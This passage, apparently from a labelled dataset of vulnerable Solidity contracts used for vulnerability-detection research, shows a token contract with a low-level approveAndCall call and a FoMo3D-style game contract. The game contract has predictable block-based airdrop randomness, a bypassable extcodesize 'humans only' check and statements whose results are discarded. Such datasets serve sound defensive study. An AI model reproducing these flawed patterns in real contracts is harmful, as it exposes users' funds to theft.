_to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract TheFoolRareToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function TheFoolRareToken( ) { balances[msg.sender] = 5000; // Give the creator all initial tokens (100000 for example) totalSupply = 5000; // Update total supply (100000 for example) name = ""TheFoolRareToken""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""TFRT""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 2717.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE7e851aC612A91667ec4BCf7f90521d48a6a5Db5); address private admin = msg.sender; address private com = 0xaba7a09EDBe80403Ab705B95df24A5cE60Ec3b12; string constant public name = ""FoMo4D""; string constant public symbol = ""F4D""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(31,0); fees_[1] = F3Ddatasets.TeamFee(41,0); fees_[2] = F3Ddatasets.TeamFee(61,0); fees_[3] = F3Ddatasets.TeamFee(46,0); potSplit_[0] = F3Ddatasets.PotSplit(20,0); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(30,0); potSplit_[3] = F3Ddatasets.PotSplit(35,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); com.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _aff = (_eth / 10).add(_eth / 20); if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com.add(_aff); } com.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(18)) / 100) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO4D already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = 